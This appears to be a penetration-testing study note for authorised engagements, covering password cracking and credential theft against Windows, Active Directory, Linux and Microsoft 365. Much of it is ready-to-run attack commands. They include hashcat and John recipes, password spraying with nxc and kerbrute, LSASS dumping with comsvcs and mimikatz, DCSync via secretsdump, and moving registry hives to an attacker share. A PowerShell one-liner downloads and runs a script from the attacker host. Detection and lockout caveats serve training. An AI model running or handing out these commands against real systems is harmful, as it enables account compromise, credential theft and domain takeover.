FLOW ^: Pentest Workflow

Stage 08 — Password Attacks and Credential Hunting

CPTS attack-flow reference for stage 08 — password attacks and credential hunting in an authorised engagement.

intermediate updated 2026-08-29 Hashcat · John the Ripper · LaZagne · Snaffler

[!dashboard] Attack-flow navigation Dashboard: HTB Pentest Attack Flow

Section: 11 of 17 · Focus: Stage 08 — Password Attacks and Credential Hunting

Previous: Stage 07 — ADCS and Certificate Abuse · Next: Stage 09 — Privilege Escalation


🔑 STAGE 8 — Password Attacks & Credential Hunting

Two jobs here: crack what I’ve dumped/captured, and hunt for creds already lying around on-host and in shares. Cracking hinges on nailing the right hashcat -m (or john --format=) on the first try — wrong mode = “Token length exception” and wasted GPU. Full references: hashcat-cheatsheet, john-cheatsheet, hashcat modes, Credential Hunting.

[!abstract] The doctrine, in order

  1. Read the lockout policy before a single guess (§0) — everything online hangs off it.
  2. Validate the user list with kerbrute userenum before spraying (§4) — invalid accounts still burn lockout budget on many domains.
  3. Spray one password, many users (§5/§6) — the inverse of brute force.
  4. Hunt what’s already on disk/in memory (§7–§10) — Snaffler, unattend files, GPP, LSASS, DPAPI, SAM/NTDS.
  5. Crack offline what you captured (§1–§3) — hashcat on GPU, john for artefacts.
  6. Vault every recovered credential the moment it lands (§11) — never paste plaintext into notes.

0 — 🔒 LOCKOUT-FIRST: read the policy before you guess

What to look for: the domain password/lockout policy dictates your entire spray cadence. Three numbers decide everything: LockoutThreshold (bad attempts before lock), LockoutObservationWindow (the sliding window those attempts count in), and LockoutDuration (how long a lock lasts). Spraying blind against an unknown threshold is how you lock 200 accounts and end the engagement.

Enumerate (policy FIRST — non-negotiable):

# NetExec — null session first, authenticated if null is dead
nxc smb $DC -u '' -p '' --pass-pol
nxc smb $DC -u "$U" -p "$P" --pass-pol
nxc ldap $DC -u "$U" -p "$P" --pass-pol            # quieter on some estates

# enum4linux-ng — full policy + user/RID enum in one pass
enum4linux-ng -P $DC                               # -P = password policy only
enum4linux-ng -A -u "$U" -p "$P" $DC               # full enum when you have a cred

# fallbacks
rpcclient -U "" -N $DC -c "getdompwinfo"           # null-session fallback
crackmapexec smb $DC --pass-pol -u '' -p ''        # legacy CME syntax, same result

Typical output decoded:

Minimum password length: 7          → candidates shorter than this are wasted guesses
Password complexity: Enabled        → need upper+lower+digit-or-symbol class mix
Lockout threshold: 5                → max SAFE guesses = threshold - 1 = 4 per window
Lockout observation window: 30 min  → the counter resets 30 min after the LAST bad attempt
Lockout duration: 30 min            → locked accounts self-release (don't count on it)

[!danger] The threshold − 1 rule Spray at most threshold − 1 passwords per account per observation window, and leave headroom for failed logins that aren’t yours (helpdesk, users fat-fingering, your own earlier typos). In practice on a 5 / 30 min policy: 2 passwords per account per 30+ minutes is the sane pace — that’s 4-6 passwords per account per day. There is no LockoutThreshold = 0 lockout (0 = lockouts disabled = theoretically unlimited), but you still spray slowly: authentication failures are telemetry even when they can’t lock. Fine-Grained Password Policies (PSOs) can give privileged groups a different, stricter policynxc ldap --pass-pol and BloodHound won’t always surface PSOs, so check: Get-ADFineGrainedPasswordPolicy -Filter *.

[!warning] Watch out — detection, not just lockout Every failed attempt is logged: 4625 (failed logon), 4771 (Kerberos pre-auth failed), 4776 (NTLM validation). A spray of 500 accounts produces a burst of 4625s with status 0xC000006A (bad password) across many accounts from one source — a textbook Sigma/Defender-for-Identity detection (T1110.003). Locked accounts generate 4740. --continue-on-success means “keep going after the first hit” (full coverage) — it does NOT override lockout. Server 2022+ “smart lockout” syncs bad-pwd counts across all DCs — pad your delays. Full playbook: 🔴 Attack.


1 — Identify the hash before you touch a GPU

What to look for: the shape/prefix. $6$ = sha512crypt, $1$ = md5crypt, $2*$ = bcrypt, $krb5tgs$ = Kerberoast, $krb5asrep$ = AS-REP, user::domain:... = NetNTLMv2, bare 32-hex = MD5 or NTLM or raw-MD4 (guess, don’t assume).

Enumerate (identify):

hashid -m '<hash>'                              # prints the matching hashcat -m number
nth --file hashes.txt                           # Name-That-Hash: modern, modes + john formats
haiti '<hash>'                                  # haiti: colourised multi-engine ID
hashcat --identify hash.txt                     # newer builds: candidate modes for a file
john --list=formats | tr ',' '\n' | grep -i ntlm  # find john's format name
hashcat -m 5600 --example-hashes                # sanity-check the line shape vs the mode

Identifiers: hashid (classic), Name-That-Hash (prints hashcat mode and john format), haiti (best coverage on exotic types).

[!warning] Watch out hashid guesses from length/shape — it does not confirm. 32-hex could be raw-md5 / NTLM (-m 1000) / raw-md4. If the first mode loads zero hashes or “Token length exception”, try the siblings before deciding the hash is broken. Cross-check with --example-hashes on the mode you think it is.


2 — hashcat: the modes I actually use

hashcat is the GPU workhorse. Key -m table (HTB/CPTS):

-mHashjohn --format=Source
0MD5raw-md5web apps
100SHA1raw-sha1web apps
1000NTLMntSAM / NTDS / secretsdump
3000LMlmlegacy (empty on modern Win — aad3b435...)
500md5crypt $1$md5cryptLinux/Cisco/opasswd
1800sha512crypt $6$sha512cryptLinux /etc/shadow
7400sha256crypt $5$sha256cryptLinux
3200bcrypt $2*$bcryptapp DBs / htpasswd
1100 / 2100DCC / DCC2mscash / mscash2cached domain logons (--lsa)
5500 / 5600NetNTLMv1 / NetNTLMv2netntlm / netntlmv2Responder / relay
13100Kerberoast TGS-REP (RC4)krb5tgsGetUserSPNs / Rubeus
19600 / 19700Kerberoast AES128 / AES256AES Kerberoast ($krb5tgs$17$/$18$)
18200AS-REP roastkrb5asrepGetNPUsers
22000WPA-PBKDF2-PMKID+EAPOLwpapskWi-Fi capture
13400KeePass 1/2keepass.kdbx
1800→see note1000 vs 300032-hex NT (crack it) vs 16-hex-split LM halves (dead, empty)

Attack modes (-a) cheat:

-aModeUse when
0Straight wordlist (+rules)default, always first
1Combination (wordlist × wordlist)two base lists, left right concatenation
3Mask / brute-forceyou know the structure (?u?l?l?l?l?l?d?d)
6Hybrid wordlist + maskSummer + 2024 — append digits/symbols
7Hybrid mask + wordlistprepend 2024 + word
9Associationcrack one specific hash with known clues about its owner

Mask charsets: ?l lower, ?u upper, ?d digit, ?s symbol, ?a all, ?b binary; custom sets via -1 ?l?d then ?1 in the mask.

Attack (the four forms I reach for):

# Straight wordlist + rules (default go-to)
hashcat -m 1000 -a 0 ntlm.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule -O -w 3

# Mask / brute-force (only when I know the structure)   ?l ?u ?d ?s ?a
hashcat -m 1000 -a 3 ntlm.txt '?u?l?l?l?l?l?d?d'
hashcat -m 1000 -a 3 ntlm.txt '?a?a?a?a?a?a?a?a' -i --increment-min 6 --increment-max 8

# Hybrid: word + appended mask  (Summer2024 style)
hashcat -m 1000 -a 6 ntlm.txt rockyou.txt '?d?d?d?d'
hashcat -m 1000 -a 7 ntlm.txt '?d?d?d?d' rockyou.txt      # prefix digits + word

# Combination (-a 1): company terms x season terms
hashcat -m 1000 -a 1 ntlm.txt company-words.txt season-year.txt

AD cracking recipes (feed from Stage 6/7 loot):

hashcat -m 1000  -a 0 ntds.hashes rockyou.txt -r best64.rule --username -o cracked.txt   # NTDS NTLM (--username strips user: prefix)
hashcat -m 5600  -a 0 ./Responder/logs/*.txt rockyou.txt -O                              # NetNTLMv2 from Responder
hashcat -m 13100 -a 0 kerberoast.hashes rockyou.txt -r best64.rule                       # Kerberoast RC4
hashcat -m 18200 -a 0 asrep.hashes rockyou.txt -r best64.rule                            # AS-REP roast
hashcat -m 22000 -a 0 handshake.hc22000 rockyou.txt                                      # WPA2 (convert first, below)
hcxpcapngtool -o handshake.hc22000 capture.pcapng                                        # pcapng -> 22000
hashcat -m 1000 ntds.hashes --show --username                                            # read potfile hits
hashcat --session lab1 --restore                                                         # resume a stopped run

Potfile hygiene & the brain:

# potfile = ~/.hashcat/hashcat.pot — it makes --show work but ALSO means re-runs "find nothing"
hashcat -m 1000 ntlm.txt rockyou.txt --potfile-path /tmp/engagement.pot   # per-engagement potfile
hashcat -m 1000 ntlm.txt rockyou.txt --potfile-disable                    # forensic-clean, no caching
# --brain (distributed dupe-suppression across many attacks on the same hash set)
hashcat --brain-server --brain-host 0.0.0.0 --brain-password <pw>         # one host runs the brain
hashcat -m 1000 ntlm.txt rockyou.txt -z --brain-client-features 3 --brain-host <ip> --brain-password <pw>

[!warning] Watch out

  • AES Kerberoast ($krb5tgs$18$ / $17$) is 19700/19600, not 13100 — RC4 mode silently loads nothing on AES tickets.
  • -O (optimised kernel) caps candidate length ~31. Fine for NTLM; drop it for WPA/KeePass long passphrases or you skip valid candidates.
  • Rules on rockyou.txt (-r OneRuleToRuleThemAll.rule) beat a blind ?a?a?a… mask for real corp passwords every time.
  • --show reads the potfile, not the hash file — if you cracked in another session/potfile, --show lies to you with “0 recovered”.

3 — John: file artefacts, --single, and formats hashcat lacks

John the Ripper (jumbo)what to look for: anything that isn’t a bare hash — a zip, PDF, SSH key, KeePass DB, /etc/shadow. John’s *2john extractors turn the artefact into a crackable line whose $name$ prefix tells me the format instantly.

Enumerate (extract the hash):

ssh2john id_rsa            > ssh.hash
zip2john archive.zip       > zip.hash
keepass2john Database.kdbx > kp.hash        # -> $keepass$... crack with --format=keepass or hashcat -m 13400
office2john report.docx    > office.hash
7z2john archive.7z         > 7z.hash
unshadow /etc/passwd /etc/shadow > unshadowed.txt   # merge so --single can use usernames

Attack (escalating: single → wordlist → rules → incremental):

john --single unshadowed.txt                                          # free first pass, derives from username/GECOS
john --format=sha512crypt --wordlist=rockyou.txt unshadowed.txt
john --format=nt --wordlist=rockyou.txt --rules=Jumbo ntlm.txt        # wordlist + mangling
john --format=krb5tgs --wordlist=rockyou.txt spns.txt                 # Kerberoast (from GetUserSPNs)
john --format=krb5asrep --wordlist=rockyou.txt asrep.txt              # AS-REP (from GetNPUsers)
john --incremental unshadowed.txt                                     # brute-force, last resort
john --show unshadowed.txt                                            # reveal cracked plaintext

[!tip] Run --single first, always — it’s free It finishes in seconds and catches adminAdmin123/admin! style passwords derived from the username. Run unshadow before it so john has the usernames to mangle. Cracked plaintext lives in ~/.john/john.pot; john won’t re-crack — point --pot=/tmp/fresh.pot to force a clean run.

[!note] hashcat vs john Raw MD5/SHA/NTLM/WPA/Kerberos → hashcat on GPU (10–100× faster). Keep john for its *2john extractors, --single, and formats hashcat lacks. Deeper hash-generation/ID reference: Hashing cheat sheet.


4 — Username lists + validate-before-spray

What to look for: the org’s username convention (flast, first.last, firstl) from email headers, PDF metadata authorship, LinkedIn. A correct convention shrinks the spray list and cuts lockout risk.

Enumerate (generate permutations):

# username-anarchy — name -> flast/first.last/firstl/... permutations
./username-anarchy Jane Smith > jane_smith_usernames.txt
./username-anarchy -i names.txt > users.txt                # feed a whole OSINT name list
./username-anarchy --list-formats                          # see every format it can emit

# namemash.py — dead-simple 30-line alternative (no install)
python3 namemash.py names.txt > users.txt

Tools: username-anarchy, namemash.py, plus seed lists from statistically-likely-usernames (james.txtjsmith-style top first names/surnames) and linkedin2username for scraping current employees straight off LinkedIn. Harvest raw names via theHarvester/Hunter.io from Stage 00 (01 - Stage 00 - Passive External Recon).

Validate the list BEFORE spraying (invalid users still burn lockout budget):

# kerbrute userenum — Kerberos pre-auth oracle: valid users answer differently, and
# accounts with DONT_REQ_PREAUTH never even tick the bad-password counter
kerbrute userenum -d $DOMAIN --dc $DC users.txt -o valid_users.txt

# safe fallback: LDAP anonymous/authenticated query against the DC
nxc ldap $DC -u users.txt -p '' --no-bruteforce 2>/dev/null | grep -i success   # thin
windapsearch --dc $DC -u "" --users | awk '{print $4}' > valid_users.txt

[!tools] Stage this kerbrute_linux_amd64 (SHA-256 · GPG signature)

[!tip] Validate-before-spray doctrine On many domains a nonexistent username counts against nothing, but on others (and against MSSQL/RDP) every guess is a 4625 against a real telemetry pipeline. kerbrute userenum talks UDP/88 Kerberos only — no SMB/NTLM 4625 storm, and on older DCs often just 4768s that blend into normal auth noise. Never spray a raw OSINT list; the hit-rate gain from a 400-name list validated down to 320 real accounts is enormous.


5 — Password spraying: one password, many users

What to look for: a validated user list (§4) + the lockout policy (§0). Spray one common seasonal/corp password (Welcome1, Summer2026!, Company123) across every account — the inverse of brute force, staying under the threshold.

Spraying tool matrix:

ToolProtocolsFlag that mattersNotes
nxcsmb, ldap, winrm, mssql, rdp, ssh, ftp--continue-on-success, --no-bruteforcethe default; --jitter for pacing
kerbrute passwordsprayKerberos (UDP/88)-d $DOMAIN --dc $DCstealthiest; often only 4771s
hydraeverything incl. http-form-L/-l -P/-p -t threadschokes on SMBv3 — use nxc
medusasmbnt, ssh, rdp, mssql, http-M smbnt -m PASS:HASH, -t parallel hostsstable SMB spraying where hydra fails
patatoreverything, scriptablesmb_login host=FILE0 user=FILE1 password=FILE2python, precise -x ignore:code= filtering

Attack (spray):

# One password across the user list — --no-bruteforce = don't do the full NxM cartesian
nxc smb $DC -u valid_users.txt -p 'Welcome2026!' --continue-on-success --no-bruteforce

# Other protocols with the same list (winrm hit = (Pwn3d!) -> shell via evil-winrm)
nxc winrm $DC -u valid_users.txt -p 'Welcome2026!' --continue-on-success --no-bruteforce
nxc mssql $IP -u valid_users.txt -p 'Welcome2026!' --continue-on-success --no-bruteforce --local-auth
nxc rdp   $IP -u valid_users.txt -p 'Welcome2026!' --continue-on-success --no-bruteforce
nxc ssh   $IP -u valid_users.txt -p 'Welcome2026!' --continue-on-success --no-bruteforce

# Add jitter and go subnet-wide
nxc smb $IP/24 -u valid_users.txt -p 'Welcome2026!' --no-bruteforce --jitter 2

# LDAP spray (fewer 4625 events than SMB on older DCs)
nxc ldap $DC -u valid_users.txt -p 'Welcome2026!' --continue-on-success --no-bruteforce

# Stealthiest path — kerbrute over UDP/88 (often no 4625, only 4771)
kerbrute passwordspray -d $DOMAIN --dc $DC valid_users.txt 'Welcome2026!'

# medusa — SMB spray alternative (handles SMB where hydra breaks)
medusa -h $DC -U valid_users.txt -p 'Welcome2026!' -M smbnt -m PASS:PASSWORD

# patator — precise, filter real hits from lockout responses
patator smb_login host=$DC user=FILE0 password='Welcome2026!' 0=valid_users.txt -x ignore:fgrep='STATUS_LOGON_FAILURE'

[!warning] Watch out — account lockout --no-bruteforce pairs files line-by-line; without it, two files = every user × every password = instant mass lockout. Recheck §0’s threshold − 1 rule before every new password in the rotation, and re-confirm the observation window has elapsed since your last spray of that account — not since the start of the engagement.


6 — ☁️ O365 / Entra ID (Azure) spraying

What to look for: login.microsoftonline.com / ADFS endpoints exposed for a target with O365 mail — no on-prem lockout applies, but Microsoft Smart Lockout and Azure AD Identity Protection watch the cloud side, and failed logons land in the tenant’s Entra sign-in logs (visible to the SOC the instant you spray).

Attack (per tool):

# o365spray — enum -> validate -> spray against O365/ADFS/NTLM endpoints
o365spray --validate --domain $DOMAIN
o365spray --enum -U users.txt --domain $DOMAIN            # office365/graph/onenote methods
o365spray --spray -U valid_users.txt -p 'Summer2026!' --domain $DOMAIN --count 1 --lockout 30

# Go365 — endpoints: -endpoint graph|sts|adfs
./Go365 -u valid_users.txt -p 'Summer2026!' -d $DOMAIN -endpoint graph

# MSOLSpray (from a Windows box / PS) — MSOL endpoint, returns error codes you can filter
Import-Module .\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\valid_users.txt -Password 'Summer2026!' -Sleep 30 -OutFile sprayed.txt
# AADSTS codes: 50053=locked(smart lockout!) 50055=expired password(VALID!) 50057=disabled 50126=bad cred

Tools: o365spray, Go365 (embedded below), MSOLSpray (embedded below). For red-team OPSEC, CredMaster rotates egress IPs per attempt via AWS API Gateway FireProx — one attempt per IP defeats per-source throttling.

[!tools] Stage this Go365_linux_amd64.tar.gz (SHA-256 · GPG signature) MSOLSpray.ps1 (SHA-256 · GPG signature)

[!warning] Watch out

  • AADSTS50055 (password expired) is a valid credential — you can often complete the forced password change and log in.
  • Smart Lockout triggers per-account, not per-IP — CredMaster spreads source IPs but cannot save an account you hammer.
  • Legacy auth (MSOL endpoint) bypasses Conditional Access/ MFA on misconfigured tenants; graph endpoint respects it. If MFA is enforced, a valid password still isn’t a session — pivot to device-code phishing or token theft instead.
  • FireProx APIs persist in AWS — delete them after the engagement (CredMaster --clean), they are billable and attributable.

7 — On-host / share credential hunting

What to look for: plaintext creds admins left behind — configs, scripts, history, registry autologon, KeePass DBs, unattend/sysprep answer files, web.config connection strings, and GPP cpassword in SYSVOL (still the crown jewel). Any authenticated domain user can read SYSVOL. Full methodology: Credential Hunting and 🔴 Attack.

Enumerate (Linux host — targeted, not /):

# Recursive grep, skip binaries, suppress noise
grep -rnIi -E 'password|passwd|pass=|pwd=|api_key|secret|token' /etc /opt /var/www /home 2>/dev/null | tee creds.txt

# Fast filename sweep + high-value file types
locate -i password | grep -v 'lib\|share\|doc'
find /var/www /opt /home -type f \( -iname '*pass*' -o -iname '*secret*' -o -iname '*.pem' -o -iname '.env' \) 2>/dev/null

# History, env, process args, SSH keys
cat ~/.bash_history ~/.zsh_history ~/.mysql_history 2>/dev/null | grep -i 'pass\|user\|key\|secret'
env | grep -iE 'pass|key|secret|token|api'
ps auxww | grep -iE 'mysql|psql|ssh|ftp|--password' | grep -v grep
grep -rnI 'BEGIN.*PRIVATE KEY' /home /root 2>/dev/null

Enumerate (Windows host — manual patterns):

# findstr sweeps — SYSVOL scripts, local dirs, IIS configs
findstr /S /I "password" \\$DOMAIN\NETLOGON\*.bat \\$DOMAIN\NETLOGON\*.ps1 \\$DOMAIN\NETLOGON\*.vbs
findstr /S /I /M "password" C:\Users\*\*.txt C:\Users\*\*.xml C:\Users\*\*.config 2>$null
findstr /S /I "password" C:\inetpub\wwwroot\*.config C:\inetpub\wwwroot\*.aspx 2>$null

# the classic answer-file & config hit-list (check every one)
#   C:\Windows\Panther\Unattend.xml  C:\Windows\Panther\Unattend\Unattend.xml
#   C:\Windows\System32\sysprep.inf  C:\Windows\System32\sysprep\sysprep.xml
#   C:\inetpub\wwwroot\web.config    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machine.config
dir C:\ /s /b | findstr /I "unattend.xml sysprep.inf web.config" 2>$null

# registry autologon
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"   # DefaultUserName/DefaultPassword

# scheduled tasks & scripts with embedded creds (run-as accounts, plaintext args)
schtasks /query /fo LIST /v | findstr /I "Task To Run Run As User"
Get-ChildItem -Recurse C:\Scripts,C:\DeploymentShare -Include *.ps1,*.bat,*.cmd -ErrorAction SilentlyContinue |
  Select-String -Pattern 'password|net use|runas' | Select-Object Path,Line

Get-ChildItem -Recurse -Filter "*.kdbx" \\FS01\ 2>$null          # KeePass DBs
cmdkey /list                                                     # saved Credential Manager entries

Attack (GPP cpassword — public AES key = plaintext):

# nxc modules — fastest automated sweep
nxc smb $DC -u "$U" -p "$P" -M gpp_password
nxc smb $DC -u "$U" -p "$P" -M gpp_autologin

# PowerSploit Get-GPPPassword from a Windows foothold
powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/Get-GPPPassword.ps1'); Get-GPPPassword"

# Manual: mount SYSVOL, find + decrypt a single cpassword
sudo mount -t cifs //$DC/SYSVOL /tmp/sysvol -o username=$U,password="$P",domain=$DOMAIN
grep -ria cpassword /tmp/sysvol/ 2>/dev/null
gpp-decrypt 'j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw'        # -> plaintext

# Share hunting + KeePass cracking
nxc smb $IP/24 -u "$U" -p "$P" --shares
nxc smb $DC -u "$U" -p "$P" -M spider_plus --share IT --pattern "password,pass,cred,secret,key,.kdbx"
keepass2john found.kdbx > kp.hash && hashcat -m 13400 kp.hash rockyou.txt   # crack the master

Tools: Get-GPPPassword (PowerSploit Exfiltration module), gpp-decrypt (offline ruby decryptor), Impacket Get-GPPPassword.py (remote, no domain-joined box needed).

Snaffler — the automated share-hunter:

:: on a domain-joined foothold: hunt every readable share, colour-ranked output
Snaffler.exe -s -d $DOMAIN -o snaffler.log -v data
Snaffler.exe -s -d $DOMAIN -i C:\shares -o snaffler.log        # targeted share list instead

[!tools] Stage this Snaffler.exe (SHA-256 · GPG signature)

[!tip] Snaffler over manual grep on real engagements Snaffler auto-hunts every accessible share and colour-ranks finds (🔴 RED = creds). Check Groups.xml first — that’s where GPP local-admin passwords live, and a decrypted GPP password is usually the same local admin across every workstation in the domain. Snaffler is C# and will trip AMSI/Defender if run from disk — expect to need the usual evasion from Stage 05 tooling.

[!warning] Watch out Credential hunting is loud: recursive grep from / spikes I/O; reads of /etc/shadow, ~/.ssh/*, and bulk SYSVOL\*.xml (Event 5145 file-share access, 4663 object access) are exactly what auditd/EDR watch for. Snaffler at -v data hammers every share (thousands of 5145s) — scope it with -i on sensitive engagements. Verify a decrypted GPP/found password still works before burning it — admins rotate locally and leave the stale XML behind.


🗝️ Credential Stores, Dumping & Network Brute-Forcing

Cracking is only half the stage — the other half is knowing where the creds physically live so I can rip them out, plus the online-brute path for when I have no hash at all, only a service prompt. This is the extraction/attack menu that feeds the hashcat/john pipelines above. Deep dives: 4 - Attacking SAM, 5 - Attacking LSASS, 8 - Credential Hunting in Linux, 7 - Credential Hunting in Windows, 12 - Cracking Protected Files, 2 - Attacking Network Service Logins.


🐧 Linux credential stores

What to look for: /etc/shadow + the PAM history file /etc/security/opasswd (often holds older, weaker hashes for the same accounts), in-memory secrets, browser vaults, and Kerberos keytabs/ccache on domain-joined boxes.

Enumerate / extract:

# shadow → unshadow is already in §3; the net-new file is opasswd (PAM pw-history)
sudo cat /etc/security/opasswd
# cry0l1t3:1000:2:$1$HjFAfYTG$qNDkF0zJ...   ← $1$ md5crypt = fast crack -m 500, may reveal a reused base
# strip the account:uid:count: prefix, keep the $1$… blobs, crack:
hashcat -m 500 -a 0 opasswd.hashes rockyou.txt

# In-memory / keyring (both need root — they read process memory + protected stores)
sudo python3 mimipenguin.py            # pulls live cleartext for GNOME/sshd/etc.
sudo python3 laZagne.py all            # Wi-Fi, libsecret, kwallet, chromium, git, keyrings, shadow, docker…

# Firefox saved logins (encrypted in logins.json → decrypt with the profile's key4.db)
python3 firefox_decrypt.py ~/.mozilla/firefox/*.default-release/

Kerberos material on domain-joined Linux (keytab → hash):

realm list ; ps -ef | grep -iE "sssd|winbind"           # is this box domain-joined?
find / -name '*.keytab' -ls 2>/dev/null; crontab -l      # cron/scripts reveal off-convention keytabs
python3 /opt/keytabextract.py carlos.keytab              # → NTLM + AES128/256 → crack or PtH
env | grep -i KRB5CCNAME; ls -la /tmp/krb5cc_*           # ccache tickets (root can read anyone's)

[!warning] Watch out opasswd is the classic missed store — its $1$ md5crypt entries crack in seconds and often expose the pattern someone still reuses in /etc/shadow’s slow $6$. mimipenguin/LaZagne/keytab reads all need root, so if hunting stalls at user level, privesc first. Keytabs are long-term (valid until password change); ccache tickets are time-boxed — check klist “expires” before trusting one. Ticket replay itself is 11 - Pass the Ticket (PtT) from Linux, not this stage.


🪟 Windows credential stores — SAM / SECURITY / SYSTEM

What to look for: local account hashes in the SAM hive (needs the SYSTEM hive’s bootkey to decrypt), cached domain logons + LSA secrets in the SECURITY hive, and domain session creds in LSASS memory.

SAM — offline three-hive pipeline (the manual version of nxc --sam):

:: on target, elevated — all three hives; SECURITY adds cached-domain-creds + LSA secrets
reg.exe save hklm\sam      C:\sam.save
reg.exe save hklm\system   C:\system.save
reg.exe save hklm\security C:\security.save
# attack host: stand up a share, target moves the hives across
impacket-smbserver -smb2support CompData .        # then on target: move *.save \\$LHOST\CompData
impacket-secretsdump -sam sam.save -security security.save -system system.save LOCAL
# → Administrator:500:aad3b435…:31d6cfe0…:::   (LM field is the constant empty value on modern Win — ignore it, crack the NT)

Automated remote equivalents (one-liners, noisier):

nxc smb $IP --local-auth -u "$U" -p "$P" --sam        # SAM hashes
nxc smb $IP --local-auth -u "$U" -p "$P" --lsa        # LSA secrets + cached domain creds (DCC2)

[!note] Cached domain creds = DCC2 (-m 2100) --lsa / the SECURITY hive surface domain cached credentials ($DCC2$10240#user#…) — what lets a laptop log its domain user in with the DC offline. These are not NTLM: you can’t Pass-the-Hash them, only crack them, and DCC2 is deliberately PBKDF2-slow (10 240 iters) so throw a targeted wordlist at -m 2100, not brute force. NL$KM is the LSA key, not a crackable secret.


🧠 LSASS — methods table, noisiest-to-quietest

LSASS holds the live domain creds of everyone logged in since boot — the crown jewels, and the single most EDR-instrumented process in Windows. Pick the method by detection posture:

MethodCommandOPSEC note
Task Manager GUIright-click lsass.exeCreate dump filezero CLI telemetry, but needs interactive GUI session; still triggers process-access alerts (Sysmon 10: GrantedAccess 0x1FFFFF to lsass.exe)
comsvcs MiniDumprundll32 C:\windows\system32\comsvcs.dll, MiniDump <PID> C:\lsass.dmp fullLOLBin, no dropped EXE — but the textbook signature, heavily alerted
procdumpprocdump64.exe -ma -accepteula lsass.exe lsass.dmpsigned Sysinternals binary; flagged by name + by the lsass handle open
nanodumpnanodump --write C:\Windows\Temp\lsass.dmpdirect syscalls + forged signatures + PPL bypass options; the quiet swap
lsassylsassy -u "$U" -p "$P" $IP or nxc smb $IP -u "$U" -p "$P" -M lsassyremote dump+parse in one shot (comsvcs/procdump/dumperr backends)
mimikatz (in-memory, no dump file)sekurlsa::logonpasswordstouches lsass live; Defender eats stock mimikatz — needs evasion
tasklist /svc | findstr lsass            :: grab the PID; PowerShell: Get-Process lsass
rundll32 C:\windows\system32\comsvcs.dll, MiniDump <PID> C:\lsass.dmp full
pypykatz lsa minidump lsass.dmp          # MSV (NT/SHA1), WDIGEST (cleartext on legacy), Kerberos keys, DPAPI masterkey
# mimikatz interactive (from the staged zip):
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
mimikatz.exe "privilege::debug" "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit"   # offline parse

[!tools] Stage this mimikatz_trunk.zip (SHA-256 · GPG signature)

[!danger] OPSEC — LSASS is the crown jewels Any handle opened to lsass.exe with read access fires Sysmon Event 10 (TargetImage: lsass.exe) and most EDRs’ highest-severity ruleset (T1003.001). Prefer: dump once, parse offline, delete the .dmp immediately. Expect WDIGEST: password None on modern/patched Windows (cleartext caching off by default post-2012, UseLogonCredential=0) — take the NT hash / Kerberos keys instead. Credential Guard (Server 2016+/Win10 Enterprise, VSM) makes LSASS dumping yield only encrypted blobs — if you see * Password : (null) everywhere with CredGuard enabled, pivot to token theft or keylogging. Live/DCSync dumping (mimikatz sekurlsa on a DC, secretsdump remote/DRSUAPI) lives in Stage 9/10 — full deck in Impacket-Cheatsheet.


🔐 DPAPI — masterkeys, vaults, browser cookies

What to look for: DPAPI blobs (%APPDATA%\Microsoft\Credentials, ...\Protect, Chrome Login Data/Cookies) — decryptable offline once you have the user’s masterkey (from LSASS, or by precomputing with the user’s password/SID + a DC’s DPAPI backup key).

SharpDPAPI triage (the GhostPack one-stop):

:: as the user (or SYSTEM with /server for machine keys)
SharpDPAPI.exe masterkeys                          :: decrypt user masterkeys (needs DPAPI domain backup key or user's password)
SharpDPAPI.exe credentials                         :: decrypt Credential Manager blobs
SharpDPAPI.exe vaults                              :: Windows Vault entries
SharpDPAPI.exe triage                              :: masterkeys + credentials + vaults + browser data in one pass
SharpDPAPI.exe machinetriage                       :: machine-store equivalent (as SYSTEM)

[!tools] Stage this SharpDPAPI.exe (SHA-256 · GPG signature)

:: mimikatz equivalents
mimikatz.exe "privilege::debug" "dpapi::masterkey /in:C:\Users\<u>\AppData\Roaming\Microsoft\Protect\<SID>\<guid> /rpc" "exit"
mimikatz.exe "dpapi::cred /in:C:\Users\<u>\AppData\Roaming\Microsoft\Credentials\<blob>" "exit"
# from Linux, fully remote, given the DC backup key or user creds:
impacket-dpapi masterkey -file mkfile -key <domain_backup_key>
impacket-dpapi credential -file cred.blob -key <masterkey>

[!note] The DPAPI masterkey chain Blob → masterkey (in Protect\<SID>\) → decrypted by either (a) the user’s current password hash (SHA1 → PBKDF2), (b) the domain DPAPI backup key from any DC (SharpDPAPI.exe backupkey /server:$DC as DA), or (c) LSASS (sekurlsa::dpapi). One recovered masterkey from a pypykatz LSASS parse often unlocks Chrome cookies + RDP saved creds + Credential Manager for that user — cheaper than any crack. SharpChrome covers the Chromium cookie/vault angle specifically if triage misses it.


🗄️ NTDS.dit — the whole domain in one file

What to look for: on a DC, C:\Windows\NTDS\NTDS.dit (locked while AD DS runs) + the SYSTEM hive. DA on a DC → every hash in the domain. Full attack path and replay: Stage 10.

# remote, no disk touch on the DC beyond DRSUAPI replication traffic
nxc smb $DC -u "$U" -p "$P" --ntds                       # vssadmin method by default
impacket-secretsdump -just-dc "$DOMAIN/$U:$P@$DC"        # DCSync via DRSUAPI — needs Repl-Get-Changes-All
impacket-secretsdump -just-dc -hashes :<nthash> "$DOMAIN/$U@$DC"

# on the DC itself — VSS snapshot past the file lock
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\system.save
impacket-secretsdump -ntds ntds.dit -system system.save LOCAL
# ntdsutil alternative: ntdsutil "ac i ntds" "ifm" "create full C:\ifm" q q  → grabs NTDS.dit + SYSTEM together
# wmic/wbem variant (legacy but still around): wmic shadowcopy call create Volume='C:\'

[!warning] Watch out secretsdump -just-dc (DCSync) generates 4662 (directory replication) on the DC — a prime detection (T1003.006) but indistinguishable from a legit DC replication unless you watch which machine replicates. vssadmin create shadow + reading the shadow copy fires VSS/service telemetry and leaves a shadow copy behind — delete it (vssadmin delete shadows /shadow=<id>) and log it in the cleanup register (Stage 11). Cracked NTDS feeds the Domain Password Analysis appendix in the report (Stage 11).


🔑 App-stored secrets, saved sessions & Wi-Fi

